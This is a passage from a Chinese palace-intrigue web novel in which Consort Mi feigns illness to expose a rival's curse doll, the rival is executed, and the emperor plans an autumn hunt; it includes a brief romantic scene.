张嫔已经顾不得自己的身?子,带着宫人蹲身?见礼,“嫔妾请皇上安。” 她声音虚弱无力,面容生出异样的红,隐有?病色。 李怀修多看她一眼,让她起来,“嘉儿?如何?” 嘉儿?是李怀修为三子赐的名,寓意?平安,温善。三子生母早逝,降生就处在后宫斗争之中?,又体弱多病,他?只望三子能安然长成?,莫陷入前朝后宫的争斗。 三皇子在乳母怀中?还在哭号,张嫔没有?起身?,自责地垂下眼泪,“是嫔妾之过?,没能照顾好三皇子。” 李怀修清楚张嫔抚养三皇子已经是恪尽职守,尽心尽力,他?没有?多加责怪,“嘉儿?体弱,此事不怪你。” 宫人送进为三皇子祛除湿疹的药膏,乳母忙拆了襁褓,为三皇子涂抹,那药膏清凉舒服,三皇子打了个嗝,由乳母哄着,哭声渐渐消了下去。 众人悬着的心这才落下。 张嫔扶着水琳站起身?子,她脚步轻晃,晕眩地扶住额角,水琳心疼地唤了声,“主子!” 她压低声音,“太医在外面候着,奴婢这就让太医进殿,为主子看看身?子!” 张嫔不想兴师动众,皇上尚且在钟粹宫,她的心思自然要在三皇子身?上,否则便?是有?借病推责的嫌疑。 她刚想说不必,额角就一阵钝痛,脚步虚软,李怀修余光注意?到,微拧起眉宇,“传太医进殿。” 张嫔声音虚弱,仍在坚持,“皇上,嫔妾无事。” 得知三子无事,李怀修神情?有?所缓和,见张嫔如此尽心,他?也不由生出几分?动容,“嘉儿?有?朕照顾,你先下去歇息。” 水琳生怕主子再勉力坚持,听皇上准允,招来一个小?宫女,不由分?说把主子扶了出去。 这时看望三皇子的嫔妃到了钟粹宫,小?太监进殿传话,“皇上,太后娘娘过?来了。” 赵月儿?扶着太后入殿,太后夜中?难眠,听到外面的动静,便?醒了,得知皇孙生出湿疹,心头一惊,忙唤人更衣,着急地赶去钟粹宫。 太后进殿匆忙,脚步虚浮,李怀修先一步上去扶住太后,“更深露重,母后怎么过?来?” 闻言,太后先瞪了李怀修一眼,“哀家的皇孙生病,还想欺瞒哀家不成?!” 李怀修神色无奈,“儿?子不敢。” 他?怕太后着急,直接道:“嘉儿?体弱受凉,现下涂抹了药膏,已经没有?哭闹了。” 三皇子已经裹在襁褓中?睡去,三个皇孙年岁相差不多,唯有?三皇孙是这般瘦瘦巴巴的模样,太后怜惜地看着,倘若不是皇后糊涂,她的三孙儿?也不会下生就跟个猫似的,这样多灾多难。 太后眼底划过?一抹痛色,皇后虽是她母家人,是她的侄女,但三皇子也是她的亲孙儿?,怪她糊涂。 当真是造孽啊! 李怀修不动声色地扶出太后,“母后也看到了嘉儿?无事,夜色已深,母后先回寿康宫歇息,待嘉儿?好全,儿?子带他?去给您请安。” 此此时太后也是累了,她精力不济地点了点头,又叮嘱道:“你明日还有?早朝,也早些歇下。” 李怀修扶着太后的手慢慢往殿外走,“儿?子知道。” 一众嫔妃见皇上与太后出殿,纷纷屈膝恭送,李怀修送太后上了仪仗,才转身?回内殿。 皇后候在殿外,李怀修视线冷冷扫过?皇后一眼,便?是这一眼,已叫皇后如坠冰窟,她指尖儿?微微发抖,无意?识攥紧了衣袖。 外殿气氛冷凝,碧纱橱内为张嫔诊脉的太医匆匆跑进外殿,打破了一室沉寂,他?躬下身?,斟酌道:“皇上,张嫔娘娘急火攻心,又染风寒,体虚无力,发了高热。两位皇子年岁尚小?,未免染疾,此时不宜与张嫔娘娘过?多接触。” 李怀修揉了揉太阳穴,“张嫔的病几时能好?” 那太医答话,“张嫔娘娘劳累过?度,少则也要修养半月。” 修养半月,可两位皇子总不能没有?人照顾,贤妃上前轻声,“皇上,深夜凉气重,两位皇子久住钟粹宫,也不能贸然离开,不如暂且由钟粹宫偏殿的嫔妃时常过?来照拂。” 李怀修思忖稍许,“依贤妃所言。” 他?掀起眼,“钟粹宫偏殿妃嫔何在?” 钟粹宫偏殿有?下位嫔妃三人,无端得了这个机会,三人都有?些意?动,希望皇上能择自己去照顾两位皇子。 李怀修扫过?站着的三人,全福海有?眼色地上前介绍,这三人有?新人有?旧人,即便?有?人曾经侍寝,过?去这么久,皇上怕是也忘了。全福海记得陆宝林还算稳妥,多说几句好话。最后有?陆宝林时常到钟粹宫照料。 提到陆宝林,明裳才注意?到,这陆宝林不就是那日在御花园中?,有?意?与她结交的嫔妃。 钟粹宫事了,今夜原本是舒美人侍寝,她犹豫一番,不甘丢了这个费尽心思得来的机会,她请声,“皇上,钟粹宫与嫔妾的宫所相近,宫人们?已备好了热水,不如皇上先行过?去歇息。” 经舒美人这么一提,众人才记起,今日原本是舒美人侍寝,是倒霉了些,碰上三皇子生出疹子。 折腾到现在,李怀修也有?些累了,他?今日原本是没拂太后脸面去的谨兰苑,给她晋升,然一想到那女子,他?就没心思再让舒美人侍奉,本也有?意?离开。 不等他?开口,抬眼间,就见嫔妃中?那女子看他?时眸子嗔恼,又幽又怨,似是埋怨他?那日哄她之语。 李怀修眼底闪过?一丝轻笑?,又被敛去,淡淡开口,“今夜朕回乾坤宫安置。” 闻言,舒美人面容僵硬得难看,眼眶里的泪水直直掉落下来,她红着眼,也不再顾及脸面,试图最后留住皇上,一手紧张地去牵住龙袍的衣角,“嫔妾原是还要抚琴给皇上听……” 舒美人这样楚楚可怜,旁人看在眼中?忍不住牙酸,都说舒美人是名门贵女,还不是为争宠,放低了身?段。 李怀修捻了捻扳指,除却那女子,他?其?实并不喜有?嫔妃在自己面前哭,甚至觉得厌烦,他?看也没看舒美人,脸色冷淡,“不必了。” 圣驾离开后,嫔妃们?各自散去,舒美人遥遥望着圣驾离去的方向,生生咽下了这夜受的委屈苦楚。 …… 张嫔病倒后,明裳本想到钟粹宫探望,结果张嫔怕给她过?了病气,没让她进内殿,明裳应张嫔托付,时而去看望两位皇子。陆宝林甚是尽心,有?时会为照看两位皇子,窝在偏殿碧纱橱里过?夜。 这日明裳从坤宁宫问安出来,无意?看见白采女,白采女并未立即离开坤宁宫,她正要转身?进殿,在她视线注意?过?来之前,明裳先一步回头,仿若无事地走在宫道上。 白采女何时与皇后有?了联系? 她觉出一丝不对劲儿?,招来月香,让她去喜春斋探探消息。 待晌午,月香就得了消息回来,自上次事情?后,江常在时常注意?白采女的动静。 月香紧张道:“奴才听莺儿?说,白采女宫里的人近日与宫外来往密切,似乎是在查娘娘在宫外的事。前几日白采女受风寒,皇后娘娘遣人送药,一来二去,白采女就时常去皇后宫中?。” 月香是怕,白采女查到娘娘曾经与柳大公子的联系,再说给皇后。 殿内安静一瞬,明裳轻抿住唇角,沉吟道:“白采女不能再留了。” 月香忽然记起一事,她忙附到明裳耳边,“娘娘,近日白采女寝殿白日也不得示人,似乎有?见不得人的东西。” …… 彼时坤宁宫中?,白采女捧上自己近来的绣样,她面颊羞红,仿似极为羞赧,“嫔妾拙笨,绣了小?半月还是给娘娘献丑了。” 皇后笑?着点她,“已是极好。” 她顿了顿,又道:“你近日总也不能闷在殿里,也要多去去御前走走。” 白采女何尝不想去御前,可皇上根本不见她。她心知肚明皇后笼络自己,是因?为她天生一副美貌,她本也自诩自己这张脸不逊色于宓妃,怎料皇上从未多看过?一眼。她不解宓妃有?何手段,让皇上那般宠爱。 她沉默了会儿?,眼下唯有?依靠皇后,她只得起身?,回皇后的话。 出了坤宁宫,白采女眸色就淡了下来,如今她早已不似进宫之时,天知晓她是如何度过?被降位禁足的三月。宫里的奴才见风使舵,三月里有?两月余送进出云阁都是无法下咽的残羹冷炙。她宫里伺候的人,唯有?红鲤和一个洒扫的小?丫头。落得如此情?境,叫她如何不去依靠皇后。 白采女攥紧手中?的帕子,她与宫外联系,就是想找到宓妃入宫前的把柄,虽不知能查到些什么,也说不准会有?意?外之喜。 回到出云阁,白采女并未让人跟着,自己走进内殿。 她坐下身?,弯腰从床榻底拿出一物,木雕的小?人,上面赫然是用湖笔写的一个宓字。 小?窗开了一角,外面的小?太监揉揉眼睛,看清了白采女手中?的木偶,吓得呼吸一紧,轻手轻脚地落下窗,左右去看,见无人,才翻过?后院那堵墙,飞身?离开。 …… 又过?几日,永和宫。 内殿里,李怀修坐在床榻上,拥着怀中?的女子,掌心贴了贴明裳的额头,眉宇微皱,问她,“还是难受?” 明裳委屈地点了点头,眼眶泪光盈盈,那张小?脸又有?异样的白色,她攥着男人衣袖,泪水扑簌簌流下来,扑在李怀修胸怀中?,哭得梨花带雨,“臣妾也不知为何,就是好生难受。” 哭成?这样,李怀修拧起眉峰,一面心疼地抚着她的后背轻哄,一面冷脸看向诊脉的太医,“尔等这样无用,竟诊不出宓妃的病情?!” 太医院当值的太医尽数被传到永和宫里,呼啦啦跪了一地,大呼,“臣等无能,请皇上恕罪!” 跪地的太医们?俱是惶恐不安,黄豆大的汗珠从额头流下来,他?们?心里则叫苦不迭,一连几日都是如此,宓妃娘娘身?子康健,分?明没病,他?们?如何诊得出啊! 明裳小?心翼翼地拉了拉男人衣袖,吸吸鼻尖儿?,“皇上别怪他?们?,太医们?也是尽力。许是臣妾的病非是太医诊脉就能诊出的。” 闻宓妃娘娘所言,跪地的宋太医福至心灵,猛一抬头,“禀皇上,臣曾在家中?时,确实有?所听闻,有?一古术,甚是厉害,不借外力,就可致人病重,却寻求不到缘由。” 宫灯落下的光影拂过?明裳的面庞,她脸蛋靠在男人怀中?,眼睫一颤,泪珠便?掉下来。她听着那太医的话,埋下眸色,没有?开口。 李怀修揽着怀里的人,沉下脸色,“是何古术?” 第090章 第 90 章 宋太医微微一顿, 踟蹰开口,“回皇上,是厌胜之术。” 殿内倏忽一默, 李怀修眼底赫然一厉, “何人如此大胆,敢在宫中行此邪术!” 明裳似惊似怕地往男人怀中缩着身子, 李怀修以为是吓到了她,手掌抚着女?子的?后?颈做以安抚,唤来全福海, 沉眉吩咐道:“即刻带人去?六宫搜查,但凡有可疑者,不必报到朕处,立即押去?慎刑司严加审问!” 乍然搜宫,各宫具是不明所以。 有心?人要问皇上是要搜何物, 御前的?宫人个顶个的?精明, 只说是要紧之物, 打着马虎眼儿?也不说实话。有皇上亲令,自然没?人敢多加阻拦,然即便深知?自己没?做过什么亏心?事?, 见这么大的?架势, 也不禁心?中惶惶。 全福海亲自带着人去?的?坤宁宫。 皇后?娘娘是六宫之主,怠慢不得,但皇上吩咐,各宫都要仔仔细细地盘查,不能放过任何一处。 他只得客客气气与皇后?说明了缘由, 既是皇上的?意思,皇后?眼光敛了敛, 生出一抹疑色,没?去?多问,由着全福海带来的?宫人去?搜。 坤宁宫正搜查偏殿,有別宫的?小太监急急忙忙地跑到全福海面?前,手捧用红布包裹的?一物,全福海接过打开,面?色一骇。 他朝着搜查的?小太监一挥手,“快,回永和?宫!” 据那小太监通禀,这是从?白采女?寝宫搜出的?东西。 白采女?降了位分后?,殿中仅有两个伺候的?宫女?,一应用度也不俱全。想搜查出来并不难,大底白采女?也没?想到会突然唱这么一出戏,皇上忽然要搜宫,来不及要藏好那木偶,就被搜查的?小太监收入手中。 白采女?分辨绝不是她宫中之物,定然是有人栽赃陷害,全福海哪由她多说,招四个小太监立即押白采女?到慎刑司审问。 全福海捧着写着宓字的?木偶人,匆匆进殿躬身,如实通禀。 那木偶雕做女?子模样,做工粗糙,看不出是何人,但宫中有宓字封号的?妃嫔唯有明裳一人。 那宓字尤为刺目,李怀修死死攥着那木偶人,扬手砸到地上,面?容冷凝如冰,“立刻将这邪物给朕烧了!” 又下令道,“白采女?贬为庶人,打入冷宫,即日?赐死!彻查她背后?之人,但凡牵涉者,直接杖毙!” 全福海冷汗涔涔,被压得抬不起头,颤着身子去?捡那木偶人,包到红布里,应了皇上的?吩咐,几乎是小跑着出了永和?宫。 此时明裳脸上泪迹已?干,唯有几滴晶莹的?水珠子挂在睫毛上,她颤颤了眼睫,好似被吓得花容失色。 “皇上,臣妾害怕。” 她呜呜咽咽地趴在男人胸口哭,“也不知?那白采女?暗害了臣妾多久。” 李怀修抚她眉心?,安抚道那邪物烧了就无事?了,又问她还难不难受。 明裳轻摇了摇头,仰起雪白的?脸蛋,“许是皇上在这陪着臣妾,臣妾已?经好多了。” 这女?子柔弱玲珑,那样怜人。 …… 李怀修没?能陪她多久,搜宫的?动静闹得太大,他还要想好说辞,到寿康宫给太后?交代。事?情因宓妃而起,太后?本对宓妃不满,这说辞还要说得太后?满意。 待圣驾出了永和?宫,明裳便拿起帕子将脸上的?泪水抹去?了。月香立即来禀,说那白采女?已?经被打入冷宫,已?是回天乏术。 明裳一连哭了几日?,此时累得不行,她强打起精神,又问绥儿?安儿?可睡了。月香一应回答,皇子公主吃了奶,此时正睡下。明裳生出困意,传人进殿伺候梳洗,准备回床榻小睡一会儿?。 经此一事?,白采女?是再无力回天,她也能安生一段日?子。 …… 坤宁宫 皇后?得知?实情,当即挥下凭几放着的?茶水,痛心?斥道:“蠢货!” 白采女?貌美,即便一时不得圣宠,也难免来日?不会入那位的?眼。却全然被这点心?思毁了! 她有那用厌胜之术的?窝囊手段,都不如直接去?宓妃吃食里下毒,还能有三成的?胜算。厌胜之术能有何用! 白采女?实在愚不可及! 文竹站在一侧,见皇后?娘娘脸色难看,握拳轻捶皇后?的?肩膀,安抚娘娘,“白采女?虽已?是无用,但这后?宫中也不只有她一个可用之人。” “娘娘位居后?位,那些人想攀附娘娘,自然什么都愿意为娘娘去?做。” 话虽如此,可没?有一个中用,能成得了事?。 皇后?揉了揉额角,“皇上还在陪着宓妃吗?” 宓妃也是有本事?,她倒是不信白采女那蠢笨的厌胜之术能诅咒得了宓妃,怕是宓妃早就察觉,今日才唱了这么一出戏,居然还把她瞒过去?了。 倘若宓妃能为她所用,她 也不必这般犯愁。 文竹道:“圣驾方才是去了寿康宫。” 动静闹得这么大,总要给太后?一个交代。 这件事?儿?宓妃占理,又有皇上从?中护着,再恃宠而骄,太后?又能说得了什么。 皇后?一想到宓妃诞下的?龙凤双胎额角就一阵抽痛,脸色更加难看,这后?宫再不转势,待二?皇子长成,来日?她这个皇后?也要屈尊于宓妃之下! 皇后?捻着指尖儿?,眸色生冷。 如皇后?所想,太后?听完那厌胜之术,先是一震,她也是后?宫过来的?人,如何不知?这六宫嫔妃为争宠能做出什么恶事?。她虽在意皇帝对宓妃的?偏袒,了也不能轻易放过了行邪术之人。 李怀修又陪了太后?一会儿?,方回乾坤宫。 御前守门的?宫人推开殿门,李怀修捏了捏额角,拂袖进殿,全福海刚按照皇上的?吩咐处理了白采女?之事?,白采女?受不住刑,吐得快,这厌胜之术是偶然从?内务府一个小宫女?处听得。他落后?皇上半步,躬着身子在后?头低声禀着。 李怀修右手负在身后?,听他通禀,上了台阶,捡起御案上的?奏折,没?有即刻坐下,眼也不抬地问他,“宓妃是如何知?晓的?此事??” 男人语气漫不经心?,仿似并没?将这件事?放在心?上。 全福海凛然大惊,果?然什么都瞒不过皇上,他原本正犹豫要不要通禀,又怕因此得罪了宓妃娘娘,听皇上发问,是如何也遮掩不过去?。 他回道:“宓妃娘娘与喜春斋江常在有所交集,是江常在察觉后?给宓妃娘娘通风报信,宓妃娘娘又命了身边的?太监辛小五假意去?喜春斋给江常在送绸缎,实则翻墙去?出云阁查,才亲眼见到白采女?在行厌胜之术。” “翻墙?”李怀修眼皮子掀起,哑然失笑,“也是她能想出来的?法子。” 皇上态度和?缓,可见没?将此事?放在心?上。全福海一脸赔笑道:“宓妃娘娘聪慧。” 李怀修轻嗤一声,“她一连几日?闹得朕荒废政事?,净围着她转。事?后?朕还要一本正经去?太后?处为她说和?,也亏得她能做得出来。” 全福海只弓着腰身,可不敢附和?这句。 皇上能说宓妃娘娘的?不是,他一个奴才,敢附和?一句,说皇上宠妃的?不好,这脑袋还要不要了。 李怀修落下座,指骨在御案敲了两下,不想轻易放过了那女?子,倏忽想出一个法子,“她这几日?哭得也累了,让御膳房做几日?消火的?汤水,送到永和?宫。朕记得黄连清火,不必吝啬,给她多加几勺。” 全福海讶然,垂首应下。 方要转身照着皇上的?吩咐去?办,又被唤回。 李怀修抿唇,想起白日?那女?子伏在他怀中怕极的?情形,整个人都极为依赖于他,心?下又软,“罢了,由着她闹。” 左右不是什么大不了的?事?,让她这样折腾也无妨。 全福海愣了下,皇上这是,又不让他去?永和?宫送那黄连了? 他生出惊讶,又听皇上问他张嫔的?身子如何,陆宝林照顾三皇子可还尽心?。 三皇子的?湿疹已?好全,张嫔娘娘养了半月,身子也已?好利索。陆宝林照顾三皇子自然是尽心?,听闻一夜急雨,三皇子夜中啼哭,陆宝林冒雨去?钟粹宫主殿,看顾三皇子一晚,一夜未眠。这陆宝林也是聪明人,知?晓自己不得圣宠,便使尽了心?思放到三皇子身上。 全福海一一如实回话。 李怀修推一下扳指,“着日?册封嫔张氏为贵嫔,宝林陆氏为美人,三皇子暂且养去?陆氏宫中,待他日?再行晋升。” 六宫谁也不曾料想到,皇上竟将三皇子交给了一个默默无闻的?陆宝林抚养。虽已?着册封美人,但未至嫔位的?品阶,仍是不足以抚养皇嗣。倘若皇上定了心?思让陆宝林养育三皇子,自此日?后?陆宝林在宫中是要步步高升了。 陆美人着册封后?仍小心?翼翼,诚惶诚恐,她深知?自己晋升来之不易,对钟粹宫主位张贵嫔敬了又敬。 张贵嫔病愈后?,待温儿?睡去?,正好收到了宓妃的?邀贴。两人许久未曾小聚,她未施粉黛,去?御花园赴宓妃的?邀约。 她到御花园坐了半晌,才瞧见姗姗来迟的?宓妃。 今日?天儿?好,白云缱绻一团,从?皇城东南自西北游动。 明裳进了亭中,显然是匆匆而来,颊边藏有几缕微乱的?碎发。 “临走安儿?闹着要我抱,哄了许久才将这小祖宗哄睡。”她坐下身,拭去?面?庞的?薄汗,“是我邀你,却叫你白白等了。” 张贵嫔蹲身福礼起来,想到宓妃宫中那闹人的?小安儿?,不由想笑,揶揄了一句,“想必宓妃娘娘幼时也是这样闹得母亲头疼。” 宫人捧上热茶糕点,那般大年?纪的?事?谁会记得。明裳只听母亲说过,小时候乖得很,也不知?是实话,还是哄她之语。 明裳“唔”了一声,抿了口茶水,问她身子可好利索了,又问陆美人此人如何。 “身子业已?好全。” “陆美人是个稳妥的?。” 张贵嫔一一与明裳去?说,她指了两个宫女?去?伺候陆美人,也是为了暗暗注意着。 “三皇子也是可怜。”明裳幽幽感叹了一句。 张贵嫔帕子拭了拭唇边的?水渍,眼眸微微发暗,有一事?她从?未与人说过,三皇子最初养到她宫中,三天两头的?吐奶哭闹,太医曾隐晦道,三皇子气脉微弱,是早夭之相。生湿疹那日?,她是真?的?害怕三皇子会因此夭折,索性养了过来,只是不知?日?后?能不能平安养成。 确实是可怜。 张贵嫔忽然想到那莫名其妙入了冷宫贬为庶人又被赐死的?白采女?,她抬了抬眼,刚起的?话音又咽了下去?,她与宓妃虽然交好,但有些不必问的?,也没?有必要开口。 她也隐约听说了白采女?有意接近皇后?,如今后?宫中她与宓妃走得亲近,都养着皇子,三皇子又是养在她宫中,皇后?怎能不心?急。可急也是没?用,皇上对萧家不满,又有罗常在之事?,已?有数月,初一十五皇上都不曾去?坤宁宫。 幸有太后?在,皇后?的?后?位才算稳固,只是这后?宫不乏有人盯着这三位皇子。张嫔养病的?时候,贤妃就曾命人送了她宫中好些补品。 她想,这些事?宓妃应是知?情,只是不曾相问与她。 两人并未相叙多久,永和?宫的?宫人急急忙忙找到明裳,说是小公主醒来,见不到娘娘,啼哭不止。明裳真?觉是给自己生了位小祖宗,离不开半刻。她又心?疼又无奈,只得告别张贵嫔,乘上仪仗,回永和?宫。 她心?里觉得女?儿?太黏人,但一想到女?儿?撕心?裂肺的?哭声,脚步走得比谁都快。刚到踏入宫门,未听见安儿?的?哭声,倒是先一眼瞧见外面?候着的?全福海。 全福海笑眯眯地迎上前,“奴才请宓妃娘娘安。” “娘娘不必心?急,皇上已?经将小公主哄睡了。” 明裳让他免礼,闻言,惊讶之余有些吃味,她哄着安儿?少?说也要半个时辰安儿?才不闹她,做甚安儿?这般听她父皇的?话。 气闷过,不禁生出点心?虚,女?儿?在哭,她这个当娘的?却在外面?,那位心?里头指不定以为她有多不尽责。 明裳踏进内殿,里头没?留伺候的?宫人,她越过屏风时,李怀修正倚着床榻,一手抱着女?儿?,另一手翻看书册,儿?子被扔到床榻里,自己玩儿?。之前李怀修抱孩子尚有不习惯,这段时日?已?经熟能生巧。 听见动静,李怀修掀起眼,见是那女?子,嘴边似笑非笑,这眼神看得明裳心?虚。两人为不扰着安儿?,谁都没?有出声。 明裳上前,要接过女?儿?,却先被男人另一只手臂捞到怀里,李怀修捏着女?子的?下颌,轻晃了两下,双唇无声问她,“去?哪了?” 倒底是兴师问罪。 明裳被逼迫着,只能如实答了三个字,“张贵嫔。” 张贵嫔大病初愈,两人总有许多话要说。 早知?是如此,李怀修扯了下嘴角,这女?子去?见张贵嫔比见他还急切,还知?不知?晓自己是他的?嫔妃。 李怀修放开她,慢慢起身,放下怀中的?女?儿?,又唤进乳母,看着皇子公主。 明裳柳眉颦颦,问皇上要去?哪儿?,李怀修斜睨她一眼,直接把人打横抱起,手臂牢牢扣住了明裳的?腰身,眸色晦暗不明,道去?偏殿。伺候的?宫人装死似的?垂低脑袋,一眼都不敢瞧。 半个时辰后?,明裳两条细白的?腿被迫屈在男人腰侧,湿漉漉的?眸子无力又可怜,口中漫出的?嗓音娇软入骨,李怀修含住她的?双唇,又去?亲女?子的?耳珠,又过良久,才不徐不疾地出来松开力道。 他拨过明裳耳边的?一缕沾湿的?碎发,说起正事?,“下月深秋,朕打算去?东山狩猎。” 明裳眸中闪过一丝尚未恢复的?茫然,清清喉咙,跟着男人的?话,软着嗓音不解,“狩猎?” “皇上要带臣妾去?吗?” 自然是要带着这女?子。 李怀修黑眸柔和?,指腹去?捻她脸蛋,鼻腔轻轻“嗯”了声,颇为暧日?未,明裳不由想起方才情韵浓时,耳边男人舍予慰的?闷哼,那张脸又羞又窘。 她指尖儿?戳了两下李怀修的?胸口,“可是绥儿?安儿?尚小,带去?东山总有不便。” 要去?狩猎,就不能像宫中这样一应俱全,安儿?又黏得她紧,万一寻不见她,又要哭闹。明裳也不愿留在宫中,皇上此行是一定要带几个六宫的?嫔妃随侍,皆是说不准文武百官也会有家眷同?往,倘若有人借此机会,入这位眼中,待回宫又多了几位妹妹,可如何是好。 明裳左想右想,都觉得不妥。 她不由撩起盈盈似水的?眸子,幽怨嗔恼,“皇上一定要去?吗?” 大魏以武建朝,狩猎视为军礼,李怀修承位以来,上重治百官,下安抚黎民,又逢天灾,尚无暇东山狩猎。今年?正得空闲,前朝有官员纳谏,他思来想去?,便也准允。至于皇子公主的?去?处,他也做好安置。只是瞧这女?子一脸埋怨,似乎并不高兴。 李怀修凤眼微眯,“圣令已?下,如何更改?” 这女?子还是一副不乐意的?模样,明裳伏在他怀中,柔荑搭过李怀修的?肩背,“可是皇上与臣妾都去?了东山,绥儿?安儿?那么小,臣妾不放心?。” 那眼底的?担忧极为真?切,至少?,李怀修从?未见这女?子对自己也有这般真?情流露的?时候。 他心?底闪过一抹不快。 遂自然地开口,“这几日?你带着绥儿?安儿?常去?寿康宫走动走动,待朕与你离开,两个孩子交给太后?照顾。” 交给太后?? 皇上这是何意。是想太后?与两个小皇孙多亲近?让太后?照顾绥儿?安儿?,那其他的?皇子公主怎么办? 还是说,皇上只准备带走她一个生养的?嫔妃。 明裳心?头转了千百个来回,眼眸轻怔,李怀修似是看出她的?心?思,漫不经意地开口,“贤妃,张贵嫔,陆美人照顾皇嗣会留在宫中。朕离宫,皇后?,你与舒贵人同?往,其余嫔妃等一众侍奉者再添六人。” 果?然与明裳所想的?一般。皇后?与舒美人离宫,也就不用担心?有人伤害绥儿?安儿?。 她一双玉臂环住男人的?后?颈,桃腮粉面?,乌发如云,湘妃色薄衫交领,半遮半掩着下面?的?姿容春光,女?子仰起脸,主动献给他一个香甜的?吻,婉转唤他,“皇上……” 李怀修喉咙轻滚,“又做甚?” 他扫一眼那处风光,不由意动,推了下扳指,复又移开。 明裳侧脸贴他胸怀,“臣妾相问皇上狩猎要去?多久?” “臣妾离开绥儿?安儿?太久,会想他们的?。” 李怀修略一沉眉,以为她又要说什么话。 自从?生了绥儿?安儿?,这人心?思便全在那两个孩子身上,说给他打祈福的?络子,过这么久,他连一根线都没?看见,他又不能真?的?拉下脸面?,与她相要。让她知?晓,自己一直将这事?放在心?上。 这女?子待他就会嘴上哄得好听,唯有自己当了真?。 “时日?未定。”李怀修唇线轻扯,没?心?思再与她温存,冷脸地拍拍明裳的?腰臀,让她起来,“朕前朝还有事?,要走了。” 明裳一脸无辜茫然,不知?自己又说错了什么话。 这位总是说变脸就变脸。 90-100 第091章 第 91 章 翌日从坤宁宫问安后, 见外面风和日朗,明?裳回?殿卸了钗环,吩咐乳母抱着皇子公主, 去寿康宫给太后请安。 这日一早问安, 六宫就得知?了中秋后,东山狩猎的音讯, 一同跟去的嫔妃尚未定下,在?场的嫔妃们?不禁意动,能跟皇上一同狩猎, 也是入圣眼的机会。更?何况她们?猜想,宓妃照顾皇子公主,必然要?留在?宫中,宓妃不在?,皇上必然要?择旁人侍奉。 六宫嫔妃揣着这样的心思, 却不知?皇上早已决定, 宓妃也要?跟去。 明?裳到寿康宫, 立即有人回?殿通禀,须臾,亲自出殿迎她的是太后身侧的赵月儿。赵月儿屈身做了礼, 鬓间簪的是一支素净的玫瑰花簪, 也正是因赵月儿的衣着,明?裳才料想,太后娘娘不喜太过明?艳的装扮。 她微微一笑?,“月儿姑娘不必多礼。” 两?人相互客气,赵月儿以帕子掩了掩唇角, 对后宫这位十分貌美的嫔妃油然而生的好感,“宓妃娘娘唤臣女月儿即可。” 又道, “太后娘娘在?佛堂礼佛,请宓妃娘娘在?殿内等候片刻。” 宫人摆上圆凳,明?裳规规矩矩地坐下身,手?边放的是一盏甘露,乳母抱着绥儿安儿去窄榻里玩儿,绥儿安儿四个月大,内穿内务府新裁的对襟短衫,外裹坎肩,脖颈下围着四合如意式的口水兜,又各戴了一只长命锁,学会翻身后,兄妹俩正在?窄榻里玩得不亦乐乎。 安儿爱哭爱笑?,似得了什么趣味,咯咯咯得笑?个不停,绥儿翻了一会儿就觉得无趣,又被妹妹挤到窄榻里面,乳母摇头无奈,抱着皇子放到宽敞的位置,安儿黏着哥哥,眼巴巴地瞧着,也要?去哥哥那里玩儿。 太后扶着赵月儿走过屏风,就听到女童清脆的笑?声。太后年纪大了,在?永州见故交含饴弄孙,隐隐艳羡,回?宫后皇帝又始终与?她有一层隔阂,唯有见到孙儿,太后才能生出些?许喜色。 下月东山狩猎,皇帝出行要?带上宓妃,太后怎不知?道自己这个儿子打的什么盘算,偏生她也是喜欢宓妃生的这对儿龙凤双胎,那一板一眼的绥儿,简直与?他父皇一模一样,活像一个模子里刻出来的。 太后摇头长叹,自屏风后现身。 此时明?裳正一脸无奈地看着窄榻里的兄妹俩,听到太后出来,忙转过身,带着乳母蹲身做礼。 太后让她不必多礼,走过去瞧自己的两?个孙儿,当了祖母,是如何都看不够这两?个小家伙,“来,让哀家抱抱。” 乳母小心翼翼地把小皇子交给太后,太后越看越喜欢这个皇孙,忍不住道:“这孩子与?皇帝小时候一样,哀家还记得皇帝这么大,哀家怎么逗他都不笑?,好似旁人欠了他的!” 在?场的人闻言,皆掩唇失笑?。 赵月儿在?旁边轻扶着太后的手?臂,柔声,“月儿瞧着,小皇子的眼睛与?太后也很相像呢!” “哀家仔细看看。”太后又看两?眼,“确实像得很。” 抱够了小皇子,太后又去抱最是泼皮的小公主,明?裳不禁呼吸一紧,捏住了帕子,她看出比起安儿,太后更?偏心绥儿,安儿认生,太后从未抱过,她只怕太后抱时,安儿哭啼,惹了太后不喜。但?她要?离宫,把兄妹二人交给太后照拂,总要?让安儿亲近太后。 说来也是奇怪,安儿乌溜溜的眼珠先看看母妃,再看看眼前雍容威仪的祖母,好似有所感,乖乖地由太后抱了去,没哭,但?也没笑?。 太后接到怀中,没听到那熟悉的哭声,明?裳才放下心。 赵月儿瞧着这永安公主生得可真好看,更?像宓妃多些?。 她好奇道:“方才月儿听着,应该就是小公主在?笑?,可真是个活泼的性子。” 太后点了点头,到底是亲孙女,她逗弄两?下,让安儿再笑?一声。安儿咕哝两?下小嘴,好一会儿,终于给了祖母面子,咯咯地笑?出了声,也就笑?了两?下,足以哄得众人开怀。 这日明?裳到寿康宫还算顺利,太后如以往只说了两?句,便让她去碧纱橱抄写佛经?,待快至晌午,太后召她出来,赏了一对儿玉镯,态度有所和缓,才让她带着绥儿安儿离开。 明?裳按了按发酸的手?腕,并未在?乎太后待她不冷不热的态度,毕竟这宫中还是要?皇上说的算,只要?皇上宠爱她,在?这后宫中,就没人能拿她如何。 今儿安儿的表现甚好,明?裳奖励地亲了女儿两?下,安儿欢喜地露出笑?脸,又往她怀里哄,习惯地吃奶。宫里的皇子公主都有指定的乳母喂养,明?裳好笑?地拨开女儿的脸蛋,交给乳母去喂。 …… 一连数日,但?凡天气适宜,明?裳都会去寿康宫一回?。太后也习惯了她日日抱着两?个孩子过去,便改了夜中礼佛,又给皇子公主准备了一张宽榻,由着安儿在?上面滚来滚去,太后坐在?一旁看着,满目慈和,爱不释手?。 是日后午,乾坤宫中。 李怀修想起那女子近日常去寿康宫,招了全福海来,问皇子公主在?太后那儿可还习惯。 他边伏案批阅奏折,边听全福海的回?话?。 全福海眼含喜色,“皇子公主已是习惯了去寿康宫。为着皇子公主,太后娘娘特吩咐内务府锻造处打一张宽榻,上铺柔软的红罗绸缎,打磨得光滑细腻,生怕皇子公主磕了碰了!” 母后一向多思。三子中,二子模样最是像他,李怀修也料想到,母后会喜欢绥儿。 他提了提唇线,又问太后宫中,宓妃平日在?做什么,可是陪太后说话?。 全福海面色一顿,斟酌道:“奴才听闻,太后娘娘不曾与?宓妃娘娘多言,宓妃娘娘在?寿康宫时,多是在?碧纱橱抄写佛经?。” 抄写佛经?? 